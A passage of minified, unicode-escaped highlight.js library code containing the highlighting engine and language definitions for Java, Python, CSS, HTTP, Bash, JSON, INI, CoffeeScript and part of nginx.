exports?e(exports):n\u0026\u0026(n.hljs\u003de({}),\u0022function\u0022\u003d\u003dtypeof define\u0026\u0026define.amd\u0026\u0026define([],function(){return n.hljs}))}(function(e){function n(e){return e.replace(/\u0026/g,\u0022\u0026amp;\u0022).replace(/\u003c/g,\u0022\u0026lt;\u0022).replace(/\u003e/g,\u0022\u0026gt;\u0022)}function t(e){return e.nodeName.toLowerCase()}function r(e,n){var t\u003de\u0026\u0026e.exec(n);return t\u0026\u00260\u003d\u003d\u003dt.index}function a(e){return k.test(e)}function i(e){var n,t,r,i,o\u003de.className+\u0022 \u0022;if(o+\u003de.parentNode?e.parentNode.className:\u0022\u0022,t\u003dB.exec(o))return w(t[1])?t[1]:\u0022no-highlight\u0022;for(o\u003do.split(/\u005cs+/),n\u003d0,r\u003do.length;r\u003en;n++)if(i\u003do[n],a(i)||w(i))return i}function o(e){var n,t\u003d{},r\u003dArray.prototype.slice.call(arguments,1);for(n in e)t[n]\u003de[n];return r.forEach(function(e){for(n in e)t[n]\u003de[n]}),t}function u(e){var n\u003d[];return function r(e,a){for(var i\u003de.firstChild;i;i\u003di.nextSibling)3\u003d\u003d\u003di.nodeType?a+\u003di.nodeValue.length:1\u003d\u003d\u003di.nodeType\u0026\u0026(n.push({event:\u0022start\u0022,offset:a,node:i}),a\u003dr(i,a),t(i).match(/br|hr|img|input/)||n.push({event:\u0022stop\u0022,offset:a,node:i}));return a}(e,0),n}function c(e,r,a){function i(){return e.length\u0026\u0026r.length?e[0].offset!\u003d\u003dr[0].offset?e[0].offset\u003cr[0].offset?e:r:\u0022start\u0022\u003d\u003d\u003dr[0].event?e:r:e.length?e:r}function o(e){function r(e){return\u0022 \u0022+e.nodeName+'\u003d\u0022'+n(e.value).replace('\u0022',\u0022\u0026quot;\u0022)+'\u0022'}s+\u003d\u0022\u003c\u0022+t(e)+E.map.call(e.attributes,r).join(\u0022\u0022)+\u0022\u003e\u0022}function u(e){s+\u003d\u0022\u003c/\u0022+t(e)+\u0022\u003e\u0022}function c(e){(\u0022start\u0022\u003d\u003d\u003de.event?o:u)(e.node)}for(var l\u003d0,s\u003d\u0022\u0022,f\u003d[];e.length||r.length;){var g\u003di();if(s+\u003dn(a.substring(l,g[0].offset)),l\u003dg[0].offset,g\u003d\u003d\u003de){f.reverse().forEach(u);do c(g.splice(0,1)[0]),g\u003di();while(g\u003d\u003d\u003de\u0026\u0026g.length\u0026\u0026g[0].offset\u003d\u003d\u003dl);f.reverse().forEach(o)}else\u0022start\u0022\u003d\u003d\u003dg[0].event?f.push(g[0].node):f.pop(),c(g.splice(0,1)[0])}return s+n(a.substr(l))}function l(e){return e.v\u0026\u0026!e.cached_variants\u0026\u0026(e.cached_variants\u003de.v.map(function(n){return o(e,{v:null},n)})),e.cached_variants||e.eW\u0026\u0026[o(e)]||[e]}function s(e){function n(e){return e\u0026\u0026e.source||e}function t(t,r){return new RegExp(n(t),\u0022m\u0022+(e.cI?\u0022i\u0022:\u0022\u0022)+(r?\u0022g\u0022:\u0022\u0022))}function r(a,i){if(!a.compiled){if(a.compiled\u003d!0,a.k\u003da.k||a.bK,a.k){var o\u003d{},u\u003dfunction(n,t){e.cI\u0026\u0026(t\u003dt.toLowerCase()),t.split(\u0022 \u0022).forEach(function(e){var t\u003de.split(\u0022|\u0022);o[t[0]]\u003d[n,t[1]?Number(t[1]):1]})};\u0022string\u0022\u003d\u003dtypeof a.k?u(\u0022keyword\u0022,a.k):x(a.k).forEach(function(e){u(e,a.k[e])}),a.k\u003do}a.lR\u003dt(a.l||/\u005cw+/,!0),i\u0026\u0026(a.bK\u0026\u0026(a.b\u003d\u0022\u005c\u005cb(\u0022+a.bK.split(\u0022 \u0022).join(\u0022|\u0022)+\u0022)\u005c\u005cb\u0022),a.b||(a.b\u003d/\u005cB|\u005cb/),a.bR\u003dt(a.b),a.e||a.eW||(a.e\u003d/\u005cB|\u005cb/),a.e\u0026\u0026(a.eR\u003dt(a.e)),a.tE\u003dn(a.e)||\u0022\u0022,a.eW\u0026\u0026i.tE\u0026\u0026(a.tE+\u003d(a.e?\u0022|\u0022:\u0022\u0022)+i.tE)),a.i\u0026\u0026(a.iR\u003dt(a.i)),null\u003d\u003da.r\u0026\u0026(a.r\u003d1),a.c||(a.c\u003d[]),a.c\u003dArray.prototype.concat.apply([],a.c.map(function(e){return l(\u0022self\u0022\u003d\u003d\u003de?a:e)})),a.c.forEach(function(e){r(e,a)}),a.starts\u0026\u0026r(a.starts,i);var c\u003da.c.map(function(e){return e.bK?\u0022\u005c\u005c.?(\u0022+e.b+\u0022)\u005c\u005c.?\u0022:e.b}).concat([a.tE,a.i]).map(n).filter(Boolean);a.t\u003dc.length?t(c.join(\u0022|\u0022),!0):{exec:function(){return null}}}}r(e)}function f(e,t,a,i){function o(e,n){var t,a;for(t\u003d0,a\u003dn.c.length;a\u003et;t++)if(r(n.c[t].bR,e))return n.c[t]}function u(e,n){if(r(e.eR,n)){for(;e.endsParent\u0026\u0026e.parent;)e\u003de.parent;return e}return e.eW?u(e.parent,n):void 0}function c(e,n){return!a\u0026\u0026r(n.iR,e)}function l(e,n){var t\u003dN.cI?n[0].toLowerCase():n[0];return e.k.hasOwnProperty(t)\u0026\u0026e.k[t]}function p(e,n,t,r){var a\u003dr?\u0022\u0022:I.classPrefix,i\u003d'\u003cspan class\u003d\u0022'+a,o\u003dt?\u0022\u0022:C;return i+\u003de+'\u0022\u003e',i+n+o}function h(){var e,t,r,a;if(!E.k)return n(k);for(a\u003d\u0022\u0022,t\u003d0,E.lR.lastIndex\u003d0,r\u003dE.lR.exec(k);r;)a+\u003dn(k.substring(t,r.index)),e\u003dl(E,r),e?(B+\u003de[1],a+\u003dp(e[0],n(r[0]))):a+\u003dn(r[0]),t\u003dE.lR.lastIndex,r\u003dE.lR.exec(k);return a+n(k.substr(t))}function d(){var e\u003d\u0022string\u0022\u003d\u003dtypeof E.sL;if(e\u0026\u0026!y[E.sL])return n(k);var t\u003de?f(E.sL,k,!0,x[E.sL]):g(k,E.sL.length?E.sL:void 0);return E.r\u003e0\u0026\u0026(B+\u003dt.r),e\u0026\u0026(x[E.sL]\u003dt.top),p(t.language,t.value,!1,!0)}function b(){L+\u003dnull!\u003dE.sL?d():h(),k\u003d\u0022\u0022}function v(e){L+\u003de.cN?p(e.cN,\u0022\u0022,!0):\u0022\u0022,E\u003dObject.create(e,{parent:{value:E}})}function m(e,n){if(k+\u003de,null\u003d\u003dn)return b(),0;var t\u003do(n,E);if(t)return t.skip?k+\u003dn:(t.eB\u0026\u0026(k+\u003dn),b(),t.rB||t.eB||(k\u003dn)),v(t,n),t.rB?0:n.length;var r\u003du(E,n);if(r){var a\u003dE;a.skip?k+\u003dn:(a.rE||a.eE||(k+\u003dn),b(),a.eE\u0026\u0026(k\u003dn));do E.cN\u0026\u0026(L+\u003dC),E.skip||(B+\u003dE.r),E\u003dE.parent;while(E!\u003d\u003dr.parent);return r.starts\u0026\u0026v(r.starts,\u0022\u0022),a.rE?0:n.length}if(c(n,E))throw new Error('Illegal lexeme \u0022'+n+'\u0022 for mode \u0022'+(E.cN||\u0022\u003cunnamed\u003e\u0022)+'\u0022');return k+\u003dn,n.length||1}var N\u003dw(e);if(!N)throw new Error('Unknown language: \u0022'+e+'\u0022');s(N);var R,E\u003di||N,x\u003d{},L\u003d\u0022\u0022;for(R\u003dE;R!\u003d\u003dN;R\u003dR.parent)R.cN\u0026\u0026(L\u003dp(R.cN,\u0022\u0022,!0)+L);var k\u003d\u0022\u0022,B\u003d0;try{for(var M,j,O\u003d0;;){if(E.t.lastIndex\u003dO,M\u003dE.t.exec(t),!M)break;j\u003dm(t.substring(O,M.index),M[0]),O\u003dM.index+j}for(m(t.substr(O)),R\u003dE;R.parent;R\u003dR.parent)R.cN\u0026\u0026(L+\u003dC);return{r:B,value:L,language:e,top:E}}catch(T){if(T.message\u0026\u0026-1!\u003d\u003dT.message.indexOf(\u0022Illegal\u0022))return{r:0,value:n(t)};throw T}}function g(e,t){t\u003dt||I.languages||x(y);var r\u003d{r:0,value:n(e)},a\u003dr;return t.filter(w).forEach(function(n){var t\u003df(n,e,!1);t.language\u003dn,t.r\u003ea.r\u0026\u0026(a\u003dt),t.r\u003er.r\u0026\u0026(a\u003dr,r\u003dt)}),a.language\u0026\u0026(r.second_best\u003da),r}function p(e){return I.tabReplace||I.useBR?e.replace(M,function(e,n){return I.useBR\u0026\u0026\u0022\u005cn\u0022\u003d\u003d\u003de?\u0022\u003cbr\u003e\u0022:I.tabReplace?n.replace(/\u005ct/g,I.tabReplace):\u0022\u0022}):e}function h(e,n,t){var r\u003dn?L[n]:t,a\u003d[e.trim()];return e.match(/\u005cbhljs\u005cb/)||a.push(\u0022hljs\u0022),-1\u003d\u003d\u003de.indexOf(r)\u0026\u0026a.push(r),a.join(\u0022 \u0022).trim()}function d(e){var n,t,r,o,l,s\u003di(e);a(s)||(I.useBR?(n\u003ddocument.createElementNS(\u0022http://www.w3.org/1999/xhtml\u0022,\u0022div\u0022),n.innerHTML\u003de.innerHTML.replace(/\u005cn/g,\u0022\u0022).replace(/\u003cbr[ \u005c/]*\u003e/g,\u0022\u005cn\u0022)):n\u003de,l\u003dn.textContent,r\u003ds?f(s,l,!0):g(l),t\u003du(n),t.length\u0026\u0026(o\u003ddocument.createElementNS(\u0022http://www.w3.org/1999/xhtml\u0022,\u0022div\u0022),o.innerHTML\u003dr.value,r.value\u003dc(t,u(o),l)),r.value\u003dp(r.value),e.innerHTML\u003dr.value,e.className\u003dh(e.className,s,r.language),e.result\u003d{language:r.language,re:r.r},r.second_best\u0026\u0026(e.second_best\u003d{language:r.second_best.language,re:r.second_best.r}))}function b(e){I\u003do(I,e)}function v(){if(!v.called){v.called\u003d!0;var e\u003ddocument.querySelectorAll(\u0022pre code\u0022);E.forEach.call(e,d)}}function m(){addEventListener(\u0022DOMContentLoaded\u0022,v,!1),addEventListener(\u0022load\u0022,v,!1)}function N(n,t){var r\u003dy[n]\u003dt(e);r.aliases\u0026\u0026r.aliases.forEach(function(e){L[e]\u003dn})}function R(){return x(y)}function w(e){return e\u003d(e||\u0022\u0022).toLowerCase(),y[e]||y[L[e]]}var E\u003d[],x\u003dObject.keys,y\u003d{},L\u003d{},k\u003d/^(no-?highlight|plain|text)$/i,B\u003d/\u005cblang(?:uage)?-([\u005cw-]+)\u005cb/i,M\u003d/((^(\u003c[^\u003e]+\u003e|\u005ct|)+|(?:\u005cn)))/gm,C\u003d\u0022\u003c/span\u003e\u0022,I\u003d{classPrefix:\u0022hljs-\u0022,tabReplace:null,useBR:!1,languages:void 0};return e.highlight\u003df,e.highlightAuto\u003dg,e.fixMarkup\u003dp,e.highlightBlock\u003dd,e.configure\u003db,e.initHighlighting\u003dv,e.initHighlightingOnLoad\u003dm,e.registerLanguage\u003dN,e.listLanguages\u003dR,e.getLanguage\u003dw,e.inherit\u003do,e.IR\u003d\u0022[a-zA-Z]\u005c\u005cw*\u0022,e.UIR\u003d\u0022[a-zA-Z_]\u005c\u005cw*\u0022,e.NR\u003d\u0022\u005c\u005cb\u005c\u005cd+(\u005c\u005c.\u005c\u005cd+)?\u0022,e.CNR\u003d\u0022(-?)(\u005c\u005cb0[xX][a-fA-F0-9]+|(\u005c\u005cb\u005c\u005cd+(\u005c\u005c.\u005c\u005cd*)?|\u005c\u005c.\u005c\u005cd+)([eE][-+]?\u005c\u005cd+)?)\u0022,e.BNR\u003d\u0022\u005c\u005cb(0b[01]+)\u0022,e.RSR\u003d\u0022!|!\u003d|!\u003d\u003d|%|%\u003d|\u0026|\u0026\u0026|\u0026\u003d|\u005c\u005c*|\u005c\u005c*\u003d|\u005c\u005c+|\u005c\u005c+\u003d|,|-|-\u003d|/\u003d|/|:|;|\u003c\u003c|\u003c\u003c\u003d|\u003c\u003d|\u003c|\u003d\u003d\u003d|\u003d\u003d|\u003d|\u003e\u003e\u003e\u003d|\u003e\u003e\u003d|\u003e\u003d|\u003e\u003e\u003e|\u003e\u003e|\u003e|\u005c\u005c?|\u005c\u005c[|\u005c\u005c{|\u005c\u005c(|\u005c\u005c^|\u005c\u005c^\u003d|\u005c\u005c||\u005c\u005c|\u003d|\u005c\u005c|\u005c\u005c||~\u0022,e.BE\u003d{b:\u0022\u005c\u005c\u005c\u005c[\u005c\u005cs\u005c\u005cS]\u0022,r:0},e.ASM\u003d{cN:\u0022string\u0022,b:\u0022'\u0022,e:\u0022'\u0022,i:\u0022\u005c\u005cn\u0022,c:[e.BE]},e.QSM\u003d{cN:\u0022string\u0022,b:'\u0022',e:'\u0022',i:\u0022\u005c\u005cn\u0022,c:[e.BE]},e.PWM\u003d{b:/\u005cb(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\u005cb/},e.C\u003dfunction(n,t,r){var a\u003de.inherit({cN:\u0022comment\u0022,b:n,e:t,c:[]},r||{});return a.c.push(e.PWM),a.c.push({cN:\u0022doctag\u0022,b:\u0022(?:TODO|FIXME|NOTE|BUG|XXX):\u0022,r:0}),a},e.CLCM\u003de.C(\u0022//\u0022,\u0022$\u0022),e.CBCM\u003de.C(\u0022/\u005c\u005c*\u0022,\u0022\u005c\u005c*/\u0022),e.HCM\u003de.C(\u0022#\u0022,\u0022$\u0022),e.NM\u003d{cN:\u0022number\u0022,b:e.NR,r:0},e.CNM\u003d{cN:\u0022number\u0022,b:e.CNR,r:0},e.BNM\u003d{cN:\u0022number\u0022,b:e.BNR,r:0},e.CSSNM\u003d{cN:\u0022number\u0022,b:e.NR+\u0022(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?\u0022,r:0},e.RM\u003d{cN:\u0022regexp\u0022,b:/\u005c//,e:/\u005c/[gimuy]*/,i:/\u005cn/,c:[e.BE,{b:/\u005c[/,e:/\u005c]/,r:0,c:[e.BE]}]},e.TM\u003d{cN:\u0022title\u0022,b:e.IR,r:0},e.UTM\u003d{cN:\u0022title\u0022,b:e.UIR,r:0},e.METHOD_GUARD\u003d{b:\u0022\u005c\u005c.\u005c\u005cs*\u0022+e.UIR,r:0},e});hljs.registerLanguage(\u0022java\u0022,function(e){var a\u003d\u0022[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*\u0022,t\u003da+\u0022(\u003c\u0022+a+\u0022(\u005c\u005cs*,\u005c\u005cs*\u0022+a+\u0022)*\u003e)?\u0022,r\u003d\u0022false synchronized int abstract float private char boolean static null if const for true while long strictfp finally protected import native final void enum else break transient catch instanceof byte super volatile case assert short package default double public try this switch continue throws protected public private module requires exports do\u0022,s\u003d\u0022\u005c\u005cb(0[bB]([01]+[01_]+[01]+|[01]+)|0[xX]([a-fA-F0-9]+[a-fA-F0-9_]+[a-fA-F0-9]+|[a-fA-F0-9]+)|(([\u005c\u005cd]+[\u005c\u005cd_]+[\u005c\u005cd]+|[\u005c\u005cd]+)(\u005c\u005c.([\u005c\u005cd]+[\u005c\u005cd_]+[\u005c\u005cd]+|[\u005c\u005cd]+))?|\u005c\u005c.([\u005c\u005cd]+[\u005c\u005cd_]+[\u005c\u005cd]+|[\u005c\u005cd]+))([eE][-+]?\u005c\u005cd+)?)[lLfF]?\u0022,c\u003d{cN:\u0022number\u0022,b:s,r:0};return{aliases:[\u0022jsp\u0022],k:r,i:/\u003c\u005c/|#/,c:[e.C(\u0022/\u005c\u005c*\u005c\u005c*\u0022,\u0022\u005c\u005c*/\u0022,{r:0,c:[{b:/\u005cw+@/,r:0},{cN:\u0022doctag\u0022,b:\u0022@[A-Za-z]+\u0022}]}),e.CLCM,e.CBCM,e.ASM,e.QSM,{cN:\u0022class\u0022,bK:\u0022class interface\u0022,e:/[{;\u003d]/,eE:!0,k:\u0022class interface\u0022,i:/[:\u0022\u005c[\u005c]]/,c:[{bK:\u0022extends implements\u0022},e.UTM]},{bK:\u0022new throw return else\u0022,r:0},{cN:\u0022function\u0022,b:\u0022(\u0022+t+\u0022\u005c\u005cs+)+\u0022+e.UIR+\u0022\u005c\u005cs*\u005c\u005c(\u0022,rB:!0,e:/[{;\u003d]/,eE:!0,k:r,c:[{b:e.UIR+\u0022\u005c\u005cs*\u005c\u005c(\u0022,rB:!0,r:0,c:[e.UTM]},{cN:\u0022params\u0022,b:/\u005c(/,e:/\u005c)/,k:r,r:0,c:[e.ASM,e.QSM,e.CNM,e.CBCM]},e.CLCM,e.CBCM]},c,{cN:\u0022meta\u0022,b:\u0022@[A-Za-z]+\u0022}]}});hljs.registerLanguage(\u0022python\u0022,function(e){var r\u003d{keyword:\u0022and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10 None True False\u0022,built_in:\u0022Ellipsis NotImplemented\u0022},b\u003d{cN:\u0022meta\u0022,b:/^(\u003e\u003e\u003e|\u005c.\u005c.\u005c.) /},c\u003d{cN:\u0022subst\u0022,b:/\u005c{/,e:/\u005c}/,k:r,i:/#/},a\u003d{cN:\u0022string\u0022,c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[b],r:10},{b:/(u|b)?r?\u0022\u0022\u0022/,e:/\u0022\u0022\u0022/,c:[b],r:10},{b:/(fr|rf|f)'''/,e:/'''/,c:[b,c]},{b:/(fr|rf|f)\u0022\u0022\u0022/,e:/\u0022\u0022\u0022/,c:[b,c]},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)\u0022/,e:/\u0022/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)\u0022/,e:/\u0022/},{b:/(fr|rf|f)'/,e:/'/,c:[c]},{b:/(fr|rf|f)\u0022/,e:/\u0022/,c:[c]},e.ASM,e.QSM]},s\u003d{cN:\u0022number\u0022,r:0,v:[{b:e.BNR+\u0022[lLjJ]?\u0022},{b:\u0022\u005c\u005cb(0o[0-7]+)[lLjJ]?\u0022},{b:e.CNR+\u0022[lLjJ]?\u0022}]},i\u003d{cN:\u0022params\u0022,b:/\u005c(/,e:/\u005c)/,c:[\u0022self\u0022,b,s,a]};return c.c\u003d[a,s,b],{aliases:[\u0022py\u0022,\u0022gyp\u0022],k:r,i:/(\u003c\u005c/|-\u003e|\u005c?)|\u003d\u003e/,c:[b,s,a,e.HCM,{v:[{cN:\u0022function\u0022,bK:\u0022def\u0022},{cN:\u0022class\u0022,bK:\u0022class\u0022}],e:/:/,i:/[${\u003d;\u005cn,]/,c:[e.UTM,i,{b:/-\u003e/,eW:!0,k:\u0022None\u0022}]},{cN:\u0022meta\u0022,b:/^[\u005ct ]*@/,e:/$/},{b:/\u005cb(print|exec)\u005c(/}]}});hljs.registerLanguage(\u0022css\u0022,function(e){var c\u003d\u0022[a-zA-Z-][a-zA-Z0-9_-]*\u0022,t\u003d{b:/[A-Z\u005c_\u005c.\u005c-]+\u005cs*:/,rB:!0,e:\u0022;\u0022,eW:!0,c:[{cN:\u0022attribute\u0022,b:/\u005cS/,e:\u0022:\u0022,eE:!0,starts:{eW:!0,eE:!0,c:[{b:/[\u005cw-]+\u005c(/,rB:!0,c:[{cN:\u0022built_in\u0022,b:/[\u005cw-]+/},{b:/\u005c(/,e:/\u005c)/,c:[e.ASM,e.QSM]}]},e.CSSNM,e.QSM,e.ASM,e.CBCM,{cN:\u0022number\u0022,b:\u0022#[0-9A-Fa-f]+\u0022},{cN:\u0022meta\u0022,b:\u0022!important\u0022}]}}]};return{cI:!0,i:/[\u003d\u005c/|'\u005c$]/,c:[e.CBCM,{cN:\u0022selector-id\u0022,b:/#[A-Za-z0-9_-]+/},{cN:\u0022selector-class\u0022,b:/\u005c.[A-Za-z0-9_-]+/},{cN:\u0022selector-attr\u0022,b:/\u005c[/,e:/\u005c]/,i:\u0022$\u0022},{cN:\u0022selector-pseudo\u0022,b:/:(:)?[a-zA-Z0-9\u005c_\u005c-\u005c+\u005c(\u005c)\u0022'.]+/},{b:\u0022@(font-face|page)\u0022,l:\u0022[a-z-]+\u0022,k:\u0022font-face page\u0022},{b:\u0022@\u0022,e:\u0022[{;]\u0022,i:/:/,c:[{cN:\u0022keyword\u0022,b:/\u005cw+/},{b:/\u005cs/,eW:!0,eE:!0,r:0,c:[e.ASM,e.QSM,e.CSSNM]}]},{cN:\u0022selector-tag\u0022,b:c,r:0},{b:\u0022{\u0022,e:\u0022}\u0022,i:/\u005cS/,c:[e.CBCM,t]}]}});hljs.registerLanguage(\u0022http\u0022,function(e){var t\u003d\u0022HTTP/[0-9\u005c\u005c.]+\u0022;return{aliases:[\u0022https\u0022],i:\u0022\u005c\u005cS\u0022,c:[{b:\u0022^\u0022+t,e:\u0022$\u0022,c:[{cN:\u0022number\u0022,b:\u0022\u005c\u005cb\u005c\u005cd{3}\u005c\u005cb\u0022}]},{b:\u0022^[A-Z]+ (.*?) \u0022+t+\u0022$\u0022,rB:!0,e:\u0022$\u0022,c:[{cN:\u0022string\u0022,b:\u0022 \u0022,e:\u0022 \u0022,eB:!0,eE:!0},{b:t},{cN:\u0022keyword\u0022,b:\u0022[A-Z]+\u0022}]},{cN:\u0022attribute\u0022,b:\u0022^\u005c\u005cw\u0022,e:\u0022: \u0022,eE:!0,i:\u0022\u005c\u005cn|\u005c\u005cs|\u003d\u0022,starts:{e:\u0022$\u0022,r:0}},{b:\u0022\u005c\u005cn\u005c\u005cn\u0022,starts:{sL:[],eW:!0}}]}});hljs.registerLanguage(\u0022bash\u0022,function(e){var t\u003d{cN:\u0022variable\u0022,v:[{b:/\u005c$[\u005cw\u005cd#@][\u005cw\u005cd_]*/},{b:/\u005c$\u005c{(.*?)}/}]},s\u003d{cN:\u0022string\u0022,b:/\u0022/,e:/\u0022/,c:[e.BE,t,{cN:\u0022variable\u0022,b:/\u005c$\u005c(/,e:/\u005c)/,c:[e.BE]}]},a\u003d{cN:\u0022string\u0022,b:/'/,e:/'/};return{aliases:[\u0022sh\u0022,\u0022zsh\u0022],l:/\u005cb-?[a-z\u005c._]+\u005cb/,k:{keyword:\u0022if then else elif fi for while in do done case esac function\u0022,literal:\u0022true false\u0022,built_in:\u0022break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp\u0022,_:\u0022-ne -eq -lt -gt -f -d -e -s -l -a\u0022},c:[{cN:\u0022meta\u0022,b:/^#![^\u005cn]+sh\u005cs*$/,r:10},{cN:\u0022function\u0022,b:/\u005cw[\u005cw\u005cd_]*\u005cs*\u005c(\u005cs*\u005c)\u005cs*\u005c{/,rB:!0,c:[e.inherit(e.TM,{b:/\u005cw[\u005cw\u005cd_]*/})],r:0},e.HCM,s,a,t]}});hljs.registerLanguage(\u0022shell\u0022,function(s){return{aliases:[\u0022console\u0022],c:[{cN:\u0022meta\u0022,b:\u0022^\u005c\u005cs{0,3}[\u005c\u005cw\u005c\u005cd\u005c\u005c[\u005c\u005c]()@-]*[\u003e%$#]\u0022,starts:{e:\u0022$\u0022,sL:\u0022bash\u0022}}]}});hljs.registerLanguage(\u0022json\u0022,function(e){var i\u003d{literal:\u0022true false null\u0022},n\u003d[e.QSM,e.CNM],r\u003d{e:\u0022,\u0022,eW:!0,eE:!0,c:n,k:i},t\u003d{b:\u0022{\u0022,e:\u0022}\u0022,c:[{cN:\u0022attr\u0022,b:/\u0022/,e:/\u0022/,c:[e.BE],i:\u0022\u005c\u005cn\u0022},e.inherit(r,{b:/:/})],i:\u0022\u005c\u005cS\u0022},c\u003d{b:\u0022\u005c\u005c[\u0022,e:\u0022\u005c\u005c]\u0022,c:[e.inherit(r)],i:\u0022\u005c\u005cS\u0022};return n.splice(n.length,0,t,c),{c:n,k:i,i:\u0022\u005c\u005cS\u0022}});hljs.registerLanguage(\u0022ini\u0022,function(e){var b\u003d{cN:\u0022string\u0022,c:[e.BE],v:[{b:\u0022'''\u0022,e:\u0022'''\u0022,r:10},{b:'\u0022\u0022\u0022',e:'\u0022\u0022\u0022',r:10},{b:'\u0022',e:'\u0022'},{b:\u0022'\u0022,e:\u0022'\u0022}]};return{aliases:[\u0022toml\u0022],cI:!0,i:/\u005cS/,c:[e.C(\u0022;\u0022,\u0022$\u0022),e.HCM,{cN:\u0022section\u0022,b:/^\u005cs*\u005c[+/,e:/\u005c]+/},{b:/^[a-z0-9\u005c[\u005c]_-]+\u005cs*\u003d\u005cs*/,e:\u0022$\u0022,rB:!0,c:[{cN:\u0022attr\u0022,b:/[a-z0-9\u005c[\u005c]_-]+/},{b:/\u003d/,eW:!0,r:0,c:[{cN:\u0022literal\u0022,b:/\u005cbon|off|true|false|yes|no\u005cb/},{cN:\u0022variable\u0022,v:[{b:/\u005c$[\u005cw\u005cd\u0022][\u005cw\u005cd_]*/},{b:/\u005c$\u005c{(.*?)}/}]},b,{cN:\u0022number\u0022,b:/([\u005c+\u005c-]+)?[\u005cd]+_[\u005cd_]+/},e.NM]}]}]}});hljs.registerLanguage(\u0022coffeescript\u0022,function(e){var c\u003d{keyword:\u0022in if for while finally new do return else break catch instanceof throw try this switch continue typeof delete debugger super yield import export from as default await then unless until loop of by when and or is isnt not\u0022,literal:\u0022true false null undefined yes no on off\u0022,built_in:\u0022npm require console print module global window document\u0022},n\u003d\u0022[A-Za-z$_][0-9A-Za-z$_]*\u0022,r\u003d{cN:\u0022subst\u0022,b:/#\u005c{/,e:/}/,k:c},i\u003d[e.BNM,e.inherit(e.CNM,{starts:{e:\u0022(\u005c\u005cs*/)?\u0022,r:0}}),{cN:\u0022string\u0022,v:[{b:/'''/,e:/'''/,c:[e.BE]},{b:/'/,e:/'/,c:[e.BE]},{b:/\u0022\u0022\u0022/,e:/\u0022\u0022\u0022/,c:[e.BE,r]},{b:/\u0022/,e:/\u0022/,c:[e.BE,r]}]},{cN:\u0022regexp\u0022,v:[{b:\u0022///\u0022,e:\u0022///\u0022,c:[r,e.HCM]},{b:\u0022//[gim]*\u0022,r:0},{b:/\u005c/(?![ *])(\u005c\u005c\u005c/|.)*?\u005c/[gim]*(?\u003d\u005cW|$)/}]},{b:\u0022@\u0022+n},{sL:\u0022javascript\u0022,eB:!0,eE:!0,v:[{b:\u0022```\u0022,e:\u0022```\u0022},{b:\u0022`\u0022,e:\u0022`\u0022}]}];r.c\u003di;var s\u003de.inherit(e.TM,{b:n}),t\u003d\u0022(\u005c\u005c(.*\u005c\u005c))?\u005c\u005cs*\u005c\u005cB[-\u003d]\u003e\u0022,o\u003d{cN:\u0022params\u0022,b:\u0022\u005c\u005c([^\u005c\u005c(]\u0022,rB:!0,c:[{b:/\u005c(/,e:/\u005c)/,k:c,c:[\u0022self\u0022].concat(i)}]};return{aliases:[\u0022coffee\u0022,\u0022cson\u0022,\u0022iced\u0022],k:c,i:/\u005c/\u005c*/,c:i.concat([e.C(\u0022###\u0022,\u0022###\u0022),e.HCM,{cN:\u0022function\u0022,b:\u0022^\u005c\u005cs*\u0022+n+\u0022\u005c\u005cs*\u003d\u005c\u005cs*\u0022+t,e:\u0022[-\u003d]\u003e\u0022,rB:!0,c:[s,o]},{b:/[:\u005c(,\u003d]\u005cs*/,r:0,c:[{cN:\u0022function\u0022,b:t,e:\u0022[-\u003d]\u003e\u0022,rB:!0,c:[o]}]},{cN:\u0022class\u0022,bK:\u0022class\u0022,e:\u0022$\u0022,i:/[:\u003d\u0022\u005c[\u005c]]/,c:[{bK:\u0022extends\u0022,eW:!0,i:/[:\u003d\u0022\u005c[\u005c]]/,c:[s]},s]},{b:n+\u0022:\u0022,e:\u0022:\u0022,rB:!0,rE:!0,r:0}])}});hljs.registerLanguage(\u0022nginx\u0022,function(e){var r\u003d{cN:\u0022variable\u0022,v:[{b:/\u005c$\u005cd+/},{b:/\u005c$\u005c{/,e:/}/},{b:\u0022[\u005c\u005c$\u005c\u005c@]\u0022+e.UIR}]},b\u003d{eW:!0,l:\u0022[a-z/_]+\u0022,k:{literal:\u0022on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll\u0022},r:0,i:\u0022\u003d\u003e\u0022,c:[e.HCM,{cN:\u0022string\u0022,c:[e.BE,r],v:[{b:/\u0022/,e:/\u0022/},{b:/'/,e:/'/}]},{b:\u0022([a-z]+):/\u0022,e:\u0022\u005c\u005cs\u0022,eW:!0,eE:!0,c:[r]},{cN:\u0022regexp\u0022,c:[e.BE,r],v:[{b:\u0022\u005c\u005cs\u005c\u005c^\u0022,e:\u0022\u005c\u005cs|{|;\u0022,rE:!0},{b:\u0022~\u005c\u005c*?\u005c\u005cs+\u0022,e:\u0022\u005c\u005cs|{|;\u0022,rE:!0},{b:\u0022\u005c\u005c*(\u005c\u005c.[a-z\u005c\u005c-]+)+\u0022},{b:\u0022([a-z\u005c\u005c-]+\u005c\u005c.)+\u005c\u005c*\u0022}]},{cN:\u0022number\u0022,b:\u0022\u005c\u005cb\u005c\u005cd{1,3}\u005c\u005c.\u005c\u005cd{1,3}\u005c\u005c.\u005c\u005cd{1,3}\u005c\u005c.\u005c\u005cd{1,3}(:\u005c\u005cd{1,5})?\u005c\u005cb\u0022},{cN:\u0022number\u0022,b:\u0022\u005c\u005cb\u005c\u005cd+[kKmMgGdshdwy]*\u005c\u005cb\u0022,r:0},r]};return{aliases:[\u0022nginxconf\u0022],c